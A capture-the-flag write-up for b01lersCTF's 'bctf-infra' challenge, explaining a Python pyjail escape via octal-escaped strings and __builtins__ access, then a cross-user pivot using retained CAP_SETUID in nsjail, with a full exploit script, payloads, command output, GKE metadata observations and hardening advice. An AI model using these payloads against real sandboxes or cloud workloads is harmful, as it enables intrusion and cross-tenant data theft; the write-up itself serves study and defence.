bctf-infra
bctf-infra
Platform: B01Lersc | Category: Misc | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-18 | Status: Solved Techniques: octal_string_construction, builtins_dict_access, setuid_via_cap_setuid, cross_user_flag_read
Summary
Task: three Python sandboxes (pyjails) with increasingly restrictive whitelists served under nsjail, each running as a separate UID; chal3's whitelist is whitespace-only and unsolvable in isolation. Solution: escape the weakest sandbox (chal1) via octal-escaped string construction into builtins.dict, then abuse the fact that nsjail keeps CAP_SETUID/CAP_SETGID and maps every challenge UID, so os.setuid() pivots across tenants to read chal3's flag.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
b01lersc| ID:20260418_b01lersc_bctf_infra - Tags: pyjail, sandbox_escape, cap_setuid, nsjail, container_escape, capabilities, uid_namespace, multi_user_isolation, gcp_metadata
- Indicators: nsjail.cfg grants CAP_SETUID/CAP_SETGID, uidmap covers multiple challenge users (count: 10), server calls os.setuid() per-connection inside Python Process, multiple 'isolated' users sharing one namespace, chmod 700 per-user folders as the only cross-tenant barrier
- Source:
20260418_b01lersc_bctf_infra.md
Foothold
Vulnerability / Misconfiguration
- Octal_string_construction
- Builtins_dict_access
- Setuid_via_cap_setuid
- Cross_user_flag_read
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- octal_string_construction
- builtins_dict_access
- setuid_via_cap_setuid
- cross_user_flag_read
- Tags: pyjail, sandbox_escape, cap_setuid, nsjail, container_escape, capabilities, uid_namespace, multi_user_isolation, gcp_metadata
Original Writeup
<details><summary>Click to expand original content</summary>Description
I got access to the b01lersCTF backend infrastructure, can you take a look and see what you can find?
The remote endpoint is a TLS socket:
ncat --ssl bctf-infra.opus4-7.b01le.rs 8443
On connect the server lists three sub-challenges and asks which one to run:
Challenges:
chal3
chal1
chal2
>
Each sub-challenge is a Python pyjail of the form exec(input()) guarded by a per-challenge character whitelist. The interesting twist is that chal3's whitelist is literally string.whitespace — no alphanumerics, no punctuation, not even a single letter. Taken on its own, chal3 is unsolvable; the challenge is an infrastructure problem, not a pyjail problem.
Analysis
The three sandboxes
All three challenges use the same skeleton:
# chals/chalN/chal.py
inp = input("> ")
for c in inp:
if c not in allowed_chars:
print(f"Illegal char {c}")
exit()
exec(inp)
Only the whitelist differs:
| Challenge | Allowed characters | Notable restrictions |
|---|---|---|
chal1 | string.ascii_lowercase + string.punctuation + string.digits with e and o removed | No whitespace, no uppercase, no e/o |
chal2 | string.ascii_lowercase + "._[]; " | No digits, no parens, no quotes, no =, no : |
chal3 | string.whitespace only | Effectively impossible to form any payload |
Flags are located at /app/chals/chalN/flag.txt. Each folder is owned by the matching chalN user (UID 65001/65002/65003) and is chmod 700 (see the Dockerfile loop below). On the live deployment only chal3's flag.txt contains the real flag; chal1 and chal2 return fake{fake_flag}.
Server-side user separation
app/challenge_server.py listens on 127.0.0.1:1337 and spawns a multiprocessing.Process per connection. Inside that process, before executing the challenge, it drops privileges to the matching UID:
def run_challenge(challenge: str, socket: socket.socket):
with socket:
uid = pwd.getpwnam(challenge).pw_uid
gid = grp.getgrnam(challenge).gr_gid
os.setgid(gid)
os.setuid(uid)
...
subprocess.run([root / "app/chal.py"], ...)
Because the server uses os.setuid() (not setresuid() with no capabilities left), it must be running as a process that actually has CAP_SETUID available. That means the capability is present in the namespace at the moment the per-challenge child is created — and, critically, it is still present in the child.
nsjail configuration — the real vulnerability
nsjail.cfg is where the infrastructure breaks apart:
cap: "CAP_SETUID"
cap: "CAP_SETGID"
uidmap {inside_id: "1000" outside_id: "1000"}
uidmap {inside_id: "65001" outside_id: "65001" count: 10}
gidmap {inside_id: "1000" outside_id: "1000"}
gidmap {inside_id: "65001" outside_id: "65001" count: 10}
Two things are wrong at once:
CAP_SETUIDandCAP_SETGIDare kept in the capability set. nsjail does not drop them after the challenge process starts, andchallenge_server.pynever strips them either.- A single
uidmaprange covers UIDs 65001..65010 — that is, all challenge users are mapped into the same user namespace.ctf(UID 1000) is also mapped.
The consequence: once we are executing code as any chalN user, we can call os.setuid() to switch to any other UID in the uidmap. The per-challenge chmod 700 folder permissions mean nothing, because kernel permission checks are evaluated after we have already become the target UID.
Empirically verified inside the remote container:
os.setuid(0) -> OSError: [Errno 22] Invalid argument # uid 0 not in the map
os.setuid(1000) -> getuid() == 1000 # ctf user
os.setuid(65001) -> getuid() == 65001 # chal3
os.setuid(65003) -> getuid() == 65003 # chal2
So the attack plan is: break the easiest sandbox (chal1), then setuid(65001) and read /app/chals/chal3/flag.txt directly. The unbreakable chal3 whitelist is irrelevant.
Solution
Step 1 — escape chal1 with octal-escaped strings
chal1 forbids e, o, whitespace and uppercase, but leaves us digits, backslash and most punctuation. That is enough to build arbitrary strings at runtime via octal escapes — \NNN uses only backslash and digits, all allowed.
From there we reach anything by indexing __builtins__.__dict__:
# open('flag.txt') from chal1's cwd:
print(*__builtins__.__dict__['\157\160\145\156']('\146\154\141\147\056\164\170\164'))
# o p e n f l a g . t x t
Arbitrary imports and command execution work the same way:
a = __builtins__.__dict__['\137\137\151\155\160\157\162\164\137\137']('\157\163') # __import__('os')
a.__dict__['\163\171\163\164\145\155']('id') # os.system('id')
# uid=65002(chal1) gid=65002(chal1) groups=65002(chal1)
That confirms the sandbox is fully broken and the process is running as chal1 (UID 65002).
Step 2 — pivot via CAP_SETUID and read every flag
With CAP_SETUID/CAP_SETGID still in the bounding set, we can change UID/GID to any mapped value. Dropping to chal3 (UID 65001) lets us open /app/chals/chal3/flag.txt despite the chmod 700:
a = __builtins__.__dict__['\137\137\151\155\160\157\162\164\137\137']('\157\163')
a.__dict__['\163\145\164\147\151\144'](65001) # setgid(65001)
a.__dict__['\163\145\164\165\151\144'](65001) # setuid(65001)
f = __builtins__.__dict__['\157\160\145\156']('/app/chals/chal3/flag.txt')
print(f.__class__.__dict__['\162\145\141\144'](f))
Running the same primitive against all three users on the remote:
--- chal2 (uid 65003) -> /app/chals/chal2/flag.txt
fake{fake_flag}
--- chal3 (uid 65001) -> /app/chals/chal3/flag.txt
bctf{REDACTED}
--- chal1 (uid 65002) -> /app/chals/chal1/flag.txt
fake{fake_flag}
The intended target is chal3 — the "impossible" sandbox — reached entirely by pivoting out of chal1.
End-to-end exploit
The following script connects over TLS, selects chal1, sends an octal-encoded payload that performs setgid/setuid and reads the target file, and repeats for each user:
#!/usr/bin/env python3
import socket, ssl, time
HOST = 'bctf-infra.opus4-7.b01le.rs'
PORT = 8443
def esc(s):
return ''.join(f'\\{ord(c):03o}' for c in s)
def chal1_run(payload, attempts=60):
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
for _ in range(attempts):
try:
with socket.create_connection((HOST, PORT), timeout=10) as s:
with ctx.wrap_socket(s, server_hostname=HOST) as ss:
ss.settimeout(5)
banner = ss.recv(4096)
if b'Challenges:' not in banner:
time.sleep(3); continue
ss.sendall(b'chal1\n')
time.sleep(3)
pre = b''
while True:
ss.settimeout(0.5)
try: c = ss.recv(4096)
except Exception: break
if not c: break
pre += c
if b'chal1:' not in pre:
time.sleep(3); continue
ss.sendall(payload.encode() + b'\n')
time.sleep(5)
out = b''
while True:
ss.settimeout(0.75)
try: c = ss.recv(4096)
except Exception: break
if not c: break
out += c
if out:
return out.decode('utf-8', 'replace')
except Exception:
time.sleep(3)
return ''
imp = esc('__import__')
osm = esc('os')
setgid = esc('setgid')
setuid = esc('setuid')
oopen = esc('open')
read = esc('read')
def payload_read(uid, path):
return (
f"a=__builtins__.__dict__['{imp}']('{osm}');"
f"a.__dict__['{setgid}']({uid});"
f"a.__dict__['{setuid}']({uid});"
f"f=__builtins__.__dict__['{oopen}']('{esc(path)}');"
f"print(f.__class__.__dict__['{read}'](f))"
)
for name, uid, path in [
('chal3', 65001, '/app/chals/chal3/flag.txt'),
('chal1', 65002, '/app/chals/chal1/flag.txt'),
('chal2', 65003, '/app/chals/chal2/flag.txt'),
]:
print(f'--- {name} uid={uid} ---')
print(chal1_run(payload_read(uid, path)))
Bonus recon
While inside the container I also observed:
169.254.169.254(GKE Metadata Server) is reachable and serves an access token bound to the Workload Identity poolbctf-2026-main.svc.id.goog(clusterbctf-2026-main-megaknight, projectbctf-2026-main).- The Kubernetes API service IP
34.118.224.1:443is reachable from inside the jail.
Both paths return PERMISSION_DENIED / SERVICE_DISABLED on the public GCP APIs I exercised, so they were not the intended solution — the intended path is the local CAP_SETUID abuse above. Noted here only because "pod can mint GKE metadata tokens and talk to the kube-apiserver" is a real defensive finding worth tracking.
Hardening / Defensive takeaway
- Do not leave
CAP_SETUID/CAP_SETGIDin the bounding set of untrusted code. nsjail supportskeep_caps: falseand explicit cap drops — use them after the server has finished its ownsetuid()dance, or spawn each tenant inside its own namespace with caps already dropped. - Do not put multiple "isolated" tenants into a single uidmap range. Each challenge/user should get its own user namespace so that
setuid()to a neighbor's UID is impossible by construction (the target UID simply does not exist in the calling namespace). - UNIX DAC (
chmod 700) is not an isolation primitive against an attacker who can callsetuid(). File-mode permissions should be defense in depth, not the perimeter. - Lesson in one line: one sandbox is as weak as all of them — if any of
chal1/chal2falls,chal3falls too regardless of how airtight its whitelist looks.
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR